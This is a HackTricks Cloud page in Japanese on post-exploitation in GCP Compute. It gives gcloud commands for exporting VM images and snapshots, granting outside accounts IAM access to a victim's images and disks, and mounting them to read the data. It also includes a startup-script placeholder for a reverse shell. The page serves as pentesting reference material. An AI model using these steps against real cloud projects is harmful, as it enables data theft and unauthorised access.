GCP - Compute Post Exploitation

Support HackTricks

Compute

ComputeとVPC(Networking)に関する詳細情報は以下を参照してください:

GCP - Compute Enum

イメージをエクスポートしてローカルで検査

これにより、攻撃者は既存のイメージ内のデータにアクセスしたり、実行中のVMの新しいイメージを作成して、そのデータにアクセスすることができます。

VMイメージをバケットにエクスポートし、次にそれをダウンロードしてローカルにマウントすることが可能です。コマンドは以下の通りです:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

このアクションを実行するには、攻撃者がストレージバケットに対する権限を持っている必要があり、確実にcloudbuildに対する権限が必要です。これはサービスがエクスポートを実行するために要求されるからです。 さらに、これが機能するためには、codebuild SAとcompute SAが特権的な権限を持っている必要があります。 cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com には以下が必要です:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

そして、SA <project-id>-compute@developer.gserviceaccount.com には以下が必要です:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

スナップショットとディスクをローカルでエクスポートおよび検査

スナップショットとディスクを直接エクスポートすることはできませんが、スナップショットをディスクに、ディスクをイメージに変換し、前のセクションに従ってそのイメージをエクスポートしてローカルで検査することが可能です。

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

VMを作成してイメージを検査する

攻撃者がイメージを作成したVMやイメージに保存されているデータにアクセスすることを目的として、外部アカウントにイメージへのアクセス権を付与することが可能です:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

そして、それから新しいVMを作成します:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

外部アカウントにイメージへのアクセス権を与えられない場合、被害者のプロジェクトでそのイメージを使用してVMを起動し、次のパラメータを追加してメタデータにリバースシェルを実行させることでイメージにアクセスできます:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

スナップショット/ディスクをVMにアタッチして検査する

ディスクやスナップショットに保存されているデータにアクセスするために、スナップショットをディスクに変換し、ディスクをイメージに変換して前述の手順に従うことができます。

または、外部アカウントにディスクへのアクセス権を付与することもできます(開始点がスナップショットの場合は、スナップショットにアクセス権を付与するか、そこからディスクを作成します):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

ディスクをアタッチ するインスタンス:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

VM内にディスクをマウントする:

  1. VMにSSH接続:

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. ディスクを特定: VM内で新しいディスクを特定するためにディスクデバイスをリストします。通常、/dev/sdb/dev/sdcなどとして見つけることができます。

  2. ディスクをフォーマットしてマウント (新しいまたは未使用のディスクの場合):

  • マウントポイントを作成:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • ディスクをマウント:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

スナップショットやディスクに外部プロジェクトへのアクセスを許可できない場合、スナップショット/ディスクと同じプロジェクト内のインスタンスでこれらの操作を実行する必要があるかもしれません。

HackTricksをサポートする

Last updated